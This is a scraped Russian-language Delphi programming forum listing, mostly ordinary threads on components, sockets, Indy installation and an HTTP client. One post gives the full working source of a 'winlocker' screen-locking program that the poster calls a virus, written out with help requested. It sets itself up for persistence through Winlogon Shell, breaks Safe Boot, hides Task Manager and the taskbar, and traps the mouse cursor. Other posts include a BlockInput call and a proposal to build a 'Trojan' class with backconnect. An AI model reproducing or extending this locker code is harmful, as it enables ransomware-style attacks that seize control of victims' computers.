delfcode

Нужен модуль для работы с ZIP или RAR

Anton93 — Wed, 16 Sep 2015 18:29:21 GMT

ребят нужен модуль в котором описаны процедуры для работы с архивами, никаких визуальных компонентов, импортов из вне, и прочего.
порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать.
скиньте пожалуйста если не трудно

Добавлено (17.09.2013, 21:06)
---------------------------------------------
допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла

Создание класса "Троян"

Neo — Thu, 19 Feb 2015 11:46:53 GMT

Всем привет!
Вот недавно опять увидел вопрос по поводу глючности компонениа TServerSocket.Мне надоело возиться с этим и по сему я предлагаю написать свой класс,используя только WinSock и WinApi.Только небольшое условие,не использовать наследование)))
Один класс должен уметь создавать как сервер,так и клиент,а также поддерживать опцию бэкконекта,двустороннюю передачю данных(ну клиент шлёт команду,сервер выполняет и шлёт клиенту статус выполнения).А ещё желательно заюзать передаччу патока,чтобы скрины слать.
Ну что давайте сделаем его? Каждый распределит какой метод он будет писать.
А потом на его основе напишем свою программу удалённого администрирования от DelfCode))) (не троян,т.к мы не пишем вредоносное ПО)

HTTP client

Hargen — Tue, 23 Jul 2013 12:09:23 GMT

Всем доброго времени суток.
Решил в силу обстоятельств написать свой http клиент, способный посылать get и post запросы, но столкнулся с такой проблемой - при попытке сформировать запрос и меня вылетает ошибка access violation addr $00000010 , укажите пожалуйста на мою ошибку.
код:

Доступно только для пользователей

Код

unit HTTPWIClient;
interface
uses
   Windows,wininet;
Type
THTTPWIClient = class (tobject)
private
fhost:ansistring;
fport:word;
fafile:ansistring;
factive:boolean;
fhSession: HINTERNET;
//fhService: HINTERNET;
fhConnection: HINTERNET;
fhRequest: HINTERNET;
fbuffer:ansistring;
fpos:DWORD;
public
property host:ansistring read fhost;
property port:word read fport;
property afile:ansistring read fafile;
property active:boolean read factive;
property hSession: HINTERNET read fhSession;
property hConnection: HINTERNET read fhConnection;
property hRequest: HINTERNET read fhRequest;
property buffer:ansistring read fbuffer;
Procedure sethost (ahost:ansistring);
Procedure setport (aport:word);
Procedure setafile (aafile:ansistring);
Procedure _InternetOpen;
Procedure _InternetConnect;
Procedure _HttpOpenRequest(request:pchar);
Procedure _HttpSendRequest();
Procedure _InternetReadFile();
Procedure CloseSessionHandle;
Procedure CloseConnectionHandle;
Procedure CloseRequestHandle;
end;
//use InternetSetFilePointer(hURL,Pos,nil,0,0);
implementation
Procedure THTTPWIClient.sethost(ahost:ansistring);
begin
if not self.active then
self.fhost:=  ahost;
end;
Procedure THTTPWIClient.setport (aport:word);
begin
if not self.active then
self.fport:=  aport;
end;
Procedure THTTPWIClient.setafile (aafile:ansistring);
begin
if not self.active then
self.fafile:=  aafile;
end;
Procedure THTTPWIClient._InternetOpen;
begin
fhSession := InternetOpen(nil, 0, nil, nil, 0);
end;
Procedure THTTPWIClient._InternetConnect;
begin
if fhSession<> nil then
self.fhConnection  := InternetConnect(self.hSession, @self.host,self.port,nil,nil,INTERNET_SERVICE_HTTP,0,0);
end;
Procedure THTTPWIClient._HttpOpenRequest(request:pchar);
begin
   fhRequest:= HttpOpenRequest(self.hConnection,request,{self.host+'/'+}@self.afile,nil,nil,nil,INTERNET_FLAG_KEEP_CONNECTION,0);
end;
Procedure THTTPWIClient._HttpSendRequest();
begin
  HttpSendRequest(self.hConnection,nil,0,nil,0);
  fpos:=1;
  factive:=true;
end;
Procedure THTTPWIClient._InternetReadFile();
var readed:DWORD;
succeful:boolean;
begin
repeat
readed:=0;
succeful:=InternetReadFile(self.hConnection,@fbuffer[fpos],1,readed);
if readed<> 0 then
begin
fpos:=fpos+readed;
end;
until not(succeful) or readed <> 0;
end;
Procedure THTTPWIClient.CloseSessionHandle;
begin
internetclosehandle(fhsession);
end;
Procedure THTTPWIClient.CloseConnectionHandle;
begin
internetclosehandle(fhconnection);
end;
Procedure THTTPWIClient.CloseRequestHandle;
begin
internetclosehandle(fhrequest);
end;
end.

П.С.
В работе с http новичек, если что не так реализованно и вы на это укажите, буду благодарен

Конвертировать KOL

ms301 — Tue, 16 Apr 2013 16:47:58 GMT

Ребят, у кого есть Delphi XE3, если можете, помогите конвертировать библиотеку KOL для XE3.
Скачать можно тут: http://kolmck.net/rindex.htm
Последняя версия для XE2. Я сразу сам пробовал но слишком много директив для компилятора. Сам не потяну перевести.

Alpha skins

Asmi — Sat, 13 Apr 2013 21:19:35 GMT

AlphaControls - это набор стандартных и некоторых уникальных компонентов, поддерживающих скины (AlphaSkins), а также имеющих некоторые дополнительнвые возможности. Все элементы скина могут иметь свои собственные свойства для рисования продвинутого градиента, реалистичных рамок, полу-прозрачности и размытых теней. Графические функции производят все расчеты и рисования в real-time, что позволяет гибко приспосабливаться к используемым цветовым схемам системы. Добавлено свойство BoundLabel для элементов редактирования. Обрабатываются различные события мыши, что дает некоторые доплнительные возможности компонентам. Менеджер подсказок управляет подсказками в приложении и придает им красивый вид с множеством настроек, которые можно изменять с помощью специального дизайнера. Аналоги стандартных компонентов обеспечивают все функциональные возможности и добавляют множество новых решений для улучшения работы программ и качества их внешнего вида.
for Delphi 7 (Стабильная версия)
Пароль для распаковки архива с модулями - слово "пароль", набранное маленькими русскими буквами в английской раскладке =)

Кнопка произвольной формы Delphi 7

Serz92Li — Sat, 13 Apr 2013 13:15:10 GMT

Люди добрые (надеюсь что это так )! Помогите найти компонент или м.б. сущ-т отдельная прога для этих целей. Только работу с регионами не предлагать. Перелопатил до фига страниц так и не нашел, может кто работал с этим? Заранее спасибо.

Ищу компонент типа "TRichView"

ms301 — Sun, 13 Jan 2013 13:27:48 GMT

Форум: Компоненты Delphi
Автор темы: ms301
Автор последнего сообщения: ms301
Количество ответов: 0

Ребят помогите с таймером

satahehok11 — Fri, 14 Dec 2012 16:42:48 GMT

Ребят помогите Вот сделал Винлокер хочу сделать что бы на форме еще был таймер отсчитывающий 300 сек . Чисто таймер получаеться а вот вместе с вирусняком ошибки . Я как бы не очень в программировании Помогите Вот сам винлокер и надо на таймер2 закинуть обратный отсчет

Code

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls,registry,ShellAPI, ExtCtrls, jpeg,Types;

type
   TForm1 = class(TForm)
     Edit1: TEdit;
     Button1: TButton;
     Image1: TImage;
     Timer1: TTimer;
     Timer2: TTimer;
     Label1: TLabel;
     procedure FormCreate(Sender: TObject);
     procedure Button1Click(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
     procedure FormKeyDown(Sender: TObject; var Key: Word;
       Shift: TShiftState);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
Procedure SafeBoot(Block: Boolean);
   var
Reg: TRegistry;
Begin
Reg:=TRegistry.Create;
Try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End
Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;
function GetSpecialPath(CSIDL: word): string;
  type
  gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL): BOOL; stdcall;
  var
  s: String;
  GetPath: gPath;

  begin
   KeyPreview := true;
  @GetPath:=GetProcAddress(LoadLibrary('shell32.dll'), 'SHGetSpecialFolderPathA');
  SetLength(s, MAX_PATH);
  if not GetPath(0, PChar(s), CSIDL, true)
    then s:=GetSpecialPath($001a);
  result:=PChar(s);
  end;
  var

  hTaskBar : THandle;
  TDWH:THandle;
  Reg: TRegistry;
  begin
  CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False);
  CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
  Reg:=TRegistry.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  Reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
  Reg.WriteString('SHELL','Explorer.exe,' + 'C:\Windows\' + ExtractFileName(ParamStr(0)));
  Reg.CloseKey;
  Reg.Free;
  ShowWindow (Application.handle, SW_HIDE);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_HIDE);
  ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
  RegisterHotKey(Handle, 1, MOD_ALT, VK_TAB);
  TDWH:=FindWindow(nil,'Äèñïåò÷åð çàäà÷ Windows');
  if TDWH=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE)
  else ShowWindow(TDWH,SW_HIDE);
  end;

  procedure TForm1.Button1Click(Sender: TObject);
var
  hTaskBar : THandle;
  TDWH:THandle;
  Password:string[10];
  begin
  Password:=edit1.text;
  If (Password='180887') then
  begin
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
  ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_SHOWNORMAL);
  TDWH:=FindWindow(nil, 'Äèñïåò÷åð çàäà÷ Windows');
  ShowWindow(TDWH,SW_SHOWNORMAL);
  UnRegisterHotKey(Handle, 1);
  Close;
  end
  else Edit1.Clear;
  end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  h:HWND;
  curs: TRect;
  begin
  Form1.FormStyle := fsStayOnTop;
  h:=FindWindow('Progman',nil);
  ShowWindow(h,sw_hide);
  h:=FindWindow('Shell_TrayWnd',nil);
  ShowWindow(h,sw_hide);
  h:=FindWindow(nil,'Ðåäàêòîð ðååñòðà');
  ShowWindow(h,sw_hide);
  h:=FindWindow(nil,'Íàñòðîéêà ñèñòåìû');
  ShowWindow(h,sw_hide);
  h:=FindWindow(nil,'Äèñïåò÷åð çàäà÷ Windows');
  ShowWindow(h,sw_hide);
  SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
  curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
  ClipCursor(@curs);
  Windows.Beep(500,600)
  end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
   Shift: TShiftState);
begin
if ((ssAlt in Shift) and (Key = VK_F4)) then
Key := 0;
end;

end.
end.

Timer

Jaw — Mon, 20 Aug 2012 06:31:05 GMT

Как поставить на таймер выполнение этого кода?

Code

  unit Unit1;

  interface

  uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

  type
  TForm1 = class(TForm)

  private
  { Private declarations }
  public
  { Public declarations }
  end;

  var
  Form1: TForm1;

  implementation

  {$R *.dfm}
  procedure BlockInput; external 'user32.dll';
  begin
  asm
  push 1
  call BlockInput
  end;
  end.

Библиотека для работы с графами

Android — Tue, 29 May 2012 04:36:26 GMT

Товарищи, подскажите библиотеку для работы с графами на делфи, а то для си++ их ваще до фига (LEDA, Boost Graph Library e.t.c.)
Но никаких подобных портов на делфи не нашел... Помогите... Диплом через неделю взялся сделать... Лень самому мутить то, что наверняка уже давно замучено))) Поиск максимального паросочетания на графе мне надо сделать.

Помогите ссылкой, советом, морально...

Не убиваемый процесс

xXxSh@dowxXx — Tue, 22 May 2012 15:16:51 GMT

И снова здравствуйте

натолкнулся сегодня на одну статью, вот она:

Restrict access to process

в ней говорится примерно следующие:

Цитирую:
"Следующий код очень прост. Он ограничивает доступ к текущему процессу. Таким образом, ни один другой процесс не сможет открыть дескриптор процесса, и например завершить этот процесс."

в коде используются "JWA и JWS" компоненты, а именно:

JwaWindows, JwsclSecureObjects, JwsclDescriptor, JwsclToken, JwsclTypes, JwsclAcl, JwsclKnownSid;

все эти компоненты я нашел и скомпилировал добавив в проект их .dcu

но как я не пытался, процесс все равно убивается, в чем может быть причина?

вот собственно сам исходник:

Компонент NewAC(New audio components)

GReIIIHuK — Wed, 29 Feb 2012 08:09:59 GMT

Получилось так, что я скрыл все компоненты из нужной директории, и удалил саму директорию компонента NewAC(в палете).
Теперь после пере установки компонентов они не отображаются на панели инструментов. Есть способ решить данную проблему без пере установки дельфи?

P.S. знаю что сделал дикую глупость, можете мне об этом не сообщать ^^

Delphi и Майл агент

vvova15 — Thu, 16 Feb 2012 17:08:41 GMT

вот выкладываю рабочий компонент TmailClient, предназначенный для работы с майлагентом из дельфи.
З.Ы. Просьба на 100 баксов: не пишите спамилок и флудеров - ведь в мэйл ру не дураки сидят и они поменяют протокол если будет многа спама.
старый компонент уже не работает изза этого.

установка indy

CraftR15 — Sun, 18 Jul 2010 18:35:59 GMT

Итак приступим, к удалению, прежде всего необходимо удалить из опций среды все упоминания о этом компоненте
Component->Configure Palett удаляем все индивские компоненты!
Из директории делфи обычно это C:\Programm files\borland\DelphiX (X-версия)
В папках удалям все id*.* и также ищем в поиске и удаляем все файлы с именем *indy* Установка
Запустите Delphi , выберите в меню “Component”->”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. И затем удалите все пакеты Indy в этом же списке, воспользовавшись кнопкой remove. Затем откройте окно настроек среды: меню “tools->options->Library Win32″ и удалите из строки Library path пути к исходным кодам Indy. Затем добавьте в Library path 3 пути:
1. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System“
2. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core“
3. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols“
Закройте Delphi. Далее найдите в папке, где у вас установлена Delphi исходные коды Indy. Обычно они располагаются в папке “<папка с Delphi>/sources/Indy” и удалите эту папку. Далее в папке Lib, которая располагается по адресу “<папка установки Delphi>/lib” удалите все файлы Indy (поиск по вхождению “Indy” вам в этом поможет).Теперь запустите Delphi, и откройте пакет “IndySystemX0.dpk” (где X - это ваша версия Delphi), который располагается по следующему адресу: “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System” и скомпилируйте его. Далее откройте пакет “IndyCoreX0.dpk” (где X- это ваша версия Delphi) из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” и скомпилируйте его. Теперь откройте и скомпилируйте пакет “IndyProtocolsX0.dpk” (где X - это ваша версия Delphi) , который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols“.Далее откройте пакет “dclIndyCoreX0.dpk”, который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” и установите его, также установите пакет “dclIndyProtocolsX0.dpk” из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols”. Вот и все, поздравляю, теперь у вас установлена актуальная версия Indy.

Последняя инди тут: ftp://indy.fulgan.com/ZIP/indy10.zip

TClientSocket

dolphin — Sat, 09 Jan 2010 12:41:59 GMT

Введение

Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). А написал я эту статью не просто так, а потому что в последнее время этот вопрос очень многих стал интересовать. Пока что затронем лишь создание клиентской части сокетного приложения.

Впервые я познакомился с сокетами, если не ошибаюсь, год или полтора назад. Тогда стояла задача разработать прикладной протокол, который бы передавал на серверную машину (работающую на ОС Unix/Linux) запрос и получал ответ по сокетному каналу. Надо заметить, что в отличие от любых других протоколов (FTP, POP, SMTP, HTTP, и т.д.), сокеты - это база для этих протоколов. Таким образом, пользуясь сокетами, можно самому создать (симитировать) и FTP, и POP, и любой другой протокол, причем не обязательно уже созданный, а даже свой собственный!

Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.

Алгоритм работы с сокетными протоколами

Так что же позволяют нам делать сокеты?... Да все что угодно! И в этом одно из главных достоинств этого способа обмена данными в сети. Дело в том, что при работе с сокетом Вы просто посылаете другому компьютеру последовательность символов. Так что этим методом Вы можете посылать как простые сообщения, так и целые файлы! Причем, контролировать правильность передачи Вам не нужно (как это было при работе с COM-портами)!

Ниже следует примерная схема работы с сокетами в Дельфи-приложениях

Разберем схему подробнее:
Определение св-в Host и Port - чтобы успешно установить соединение, нужно присвоить свойствам Host и Port компонента TClientSocket требуемые значения. Host - это хост-имя (например: nitro.borland.com) либо IP-адрес (например: 192.168.0.88) компьютера, с которым надо соединиться. Port - номер порта (от 1 до 65535) для установления соединения. Обычно номера портов берутся, начиная с 1001 - т.к. номера меньше 1000 могут быть заняты системными службами (например, POP - 110). Подробнее о практической части см.ниже;
Открытие сокета - после того, как Вы назначили свойствам Host и Port соответствующие значения, можно приступить непосредственно к открытию сокета (сокет здесь рассматривается как очередь, в которой содержатся символы, передающиеся от одного компьютера к другому). Для этого можно вызвать метод Open компонента TClientSocket, либо присвоить свойству Active значение True. Здесь полезно ставить обработчик исключительной ситуации на тот случай, если соединиться не удалось. Подробнее об этом можно прочитать ниже, в практической части;
Авторизация - этот пункт можно пропустить, если сервер не требует ввода каких-либо логинов и/или паролей. На этом этапе Вы посылаете серверу свой логин (имя пользователя) и пароль. Но механизм авторизации зависит уже от конкретного сервера;
Посылка/прием данных - это, собственно и есть то, для чего открывалось сокетное соединение. Протокол обмена данными также зависит от сервера;
Закрытие сокета - после всех выполненных операций необходимо закрыть сокет с помощью метода Close компонента TClientSocket (либо присвоить свойству Active значение False).

Indy

dolphin — Thu, 22 Oct 2009 10:19:30 GMT

Установка
Запустите Delphi , выберите в меню “Component”->”Install Packages”. В появившемся списке снимите галки с всех пакетов Indy. И затем удалите все пакеты Indy в этом же списке, воспользовавшись кнопкой remove. Затем откройте окно настроек среды: меню “tools->options->Library Win32″ и удалите из строки Library path пути к исходным кодам Indy. Затем добавьте в Library path 3 пути:
1. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System“
2. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core“
3. “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols“

Закройте Delphi. Далее найдите в папке, где у вас установлена Delphi исходные коды Indy. Обычно они располагаются в папке “<папка с Delphi>/sources/Indy” и удалите эту папку. Далее в папке Lib, которая располагается по адресу “<папка установки Delphi>/lib” удалите все файлы Indy (поиск по вхождению “Indy” вам в этом поможет).Теперь запустите Delphi, и откройте пакет “IndySystemX0.dpk” (где X - это ваша версия Delphi), который располагается по следующему адресу: “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\System” и скомпилируйте его. Далее откройте пакет “IndyCoreX0.dpk” (где X- это ваша версия Delphi) из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” и скомпилируйте его. Теперь откройте и скомпилируйте пакет “IndyProtocolsX0.dpk” (где X - это ваша версия Delphi) , который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols“.Далее откройте пакет “dclIndyCoreX0.dpk”, который располагается в папке “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Core” и установите его, также установите пакет “dclIndyProtocolsX0.dpk” из папки “<папка, куда вы экспортировали репозиторий Indy>\branches\Tiburon\Lib\Protocols”. Вот и все, поздравляю, теперь у вас установлена актуальная версия Indy.

Работа с поргрес бар

dolphin — Thu, 30 Apr 2009 17:52:53 GMT

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled := ProgressBar1.Position < ProgressBar1.Max;
ProgressBar1.Position := ProgressBar1.Position + 1;
if ProgressBar1.Position > 100 then
begin
ShowMessage('Всё');
end;
end;

!!!Правила раздела!!!

dolphin — Sat, 21 Mar 2009 09:50:10 GMT

Форум: Компоненты Delphi
Автор темы: dolphin
Автор последнего сообщения: dolphin
Количество ответов: 0

TICQClient

dolphin — Sat, 31 Jan 2009 20:46:09 GMT

Обновился TICQClient

Скачать для Delphi 7
Скачать для Delphi 2010

Как установить TICQClient в Delphi 7:
0) Удалите предыдущий компонент TICQClient, если ставили его
1) Откройте TICQClient.dpk в Delphi
2) Перейдите в Menu->Tools->Environment Options->Library
3) Нажмите кнопку "..." напротив Library path
4) Добавьте путь в папку, где лежит TICQClient
5) Вернитесь к окошку открытого dpk
6) Нажмите Compile
7) Нажмите Install
8) Теперь можете использовать компонент ICQClient на вкладке Samples